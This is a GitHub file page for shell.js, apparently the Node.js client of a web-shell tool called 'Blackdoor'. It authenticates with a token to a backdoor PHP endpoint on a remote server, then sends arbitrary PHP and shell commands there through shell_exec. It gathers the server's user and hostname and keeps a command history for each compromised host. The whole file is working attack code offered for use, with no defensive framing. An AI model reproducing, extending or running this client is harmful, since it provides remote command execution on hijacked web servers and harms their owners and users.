-
Notifications
You must be signed in to change notification settings - Fork 3
/
shell.js
executable file
·204 lines (174 loc) · 4.76 KB
/
shell.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
const term = require('terminal-kit').terminal,
termkit = require('terminal-kit'),
parse = require('shell-parse'),
glob = require('glob'),
axios = require('axios'),
qs = require('qs'),
path = require('path'),
fs = require('fs');
class Shell{
constructor(){
this.commands = [];
glob('./commands/*.js', (err, file) => {
this.commands = file;
});
term.on('key', (key) => {
if (key === 'CTRL_C'){
term('\n');
this.input();
}
});
}
async init(host, token) {
if (await this.auth(host, token)) {
this.welcomeScreen();
fs.readFile(this.sessionDir+'/history', 'utf8', (err,data) => {
if (err) {
this.history = [];
}
else{
this.history = data.trim().split('\n');
}
this.input();
});
}
}
welcomeScreen(){
term.white('\nWelcome on ').bold.red('Blackdoor').white(' client!\n');
term.white('You are connecting from : ').blue(this.entrypoint+'\n');
term.white('Session data will store here : ').blue(this.sessionDir+'\n\n');
}
async auth(host, token){
term.blue('Connecting...\n');
this.entrypoint = host;
this.token = token;
let data = await this.php(`return array(
'sucess' => true,
'pwd' => $_SERVER['DOCUMENT_ROOT'],
'whoami' => exec('whoami'),
'hostname' => gethostname()
);`);
this.user = data.whoami;
this.hostname = data.hostname;
this.sessionDir = process.env[(process.platform === 'win32') ? 'USERPROFILE' : 'HOME']+'/.blackdoor/'+this.hostname;
if(data.sucess !== true){
term.red('Connection failed.');
this.quit();
return false;
}
this.pwd = data.pwd;
return true;
}
ps1() {
term.white( '╭─').bold.red(`${this.user}@${this.hostname} `).blue(this.pwd);
term.white("\n╰─$ ");
}
input(){
this.ps1();
term.inputField({
history: this.history,
autoComplete : (input, callback) => {
let returns = [];
let matches;
// Autocomplet command
if(input.match(/^([a-zA-Z0-9_-]+)$/)){
returns = this.commands.map(file => path.basename(file, path.extname(file)));
}
// Autocomplet path
else if(matches = input.match(/ ([^ ]+)$/)){
// todo
}
callback( undefined , termkit.autoComplete(returns, input, true));
},
autoCompleteHint: true,
autoCompleteMenu: true,
} ,
( error , raw ) => {
term('\n');
if(raw === ''){
this.input();
return;
}
this.history.push(raw);
fs.appendFile(this.sessionDir+'/history', raw+'\n', function(){});
let input = parse(raw);
input.forEach((expression) => {
this.runExpression(expression, raw);
});
});
}
async runExpression(expression, raw) {
let module = './commands/'+expression.command.value;
let cmd;
try {
delete require.cache[require.resolve(module)];
cmd = require(module);
} catch (e) {
let output = await this.sh(expression.command.value, expression);
term(output);
this.input();
return;
}
try {
await cmd.exec(expression, raw, this);
} catch (e) {
term.red(e);
term('\n');
this.input();
}
}
async call(c){
const res = await axios.post(this.entrypoint, qs.stringify({
'c' : c,
'p' : this.token
}));
return res.data;
}
async php(request){
const response = await this.call(`ob_clean();
header('Content-Type: application/json');
function crazyexec(){`+request+`}
echo json_encode(array(
'result' => crazyexec(),
));
exit;`);
return response.result;
}
async stream(request){
const result = await axios.post(this.entrypoint, qs.stringify({
'c' : request+` echo 'end'; exit;`,
'p' : this.token
}), {
responseType:'stream'
});
console.log(result);
return result;
}
async sh(cmd, input={'args':[]}, after=''){
let args = input.args.map(i => i.value).join(' ');
/*return await this.stream(`
error_reporting(E_ALL);
ini_set('display_errors', 1);
$cmd = '`+cmd+` `+args+` `+after+`';
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
flush();
$process = proc_open($cmd, $descriptorspec, $pipes, '`+this.pwd+`', array());
if (is_resource($process)) {
while ($s = fgets($pipes[1])) {
print $s;
flush();
}
}`);*/
return await this.php(`return shell_exec("cd `+this.pwd+` && `+cmd+` `+args+` `+after+`");`);
}
quit(){
term.red('\nQuitting... Bye\n');
term.grabInput(false);
process.exit();
}
}
module.exports = Shell;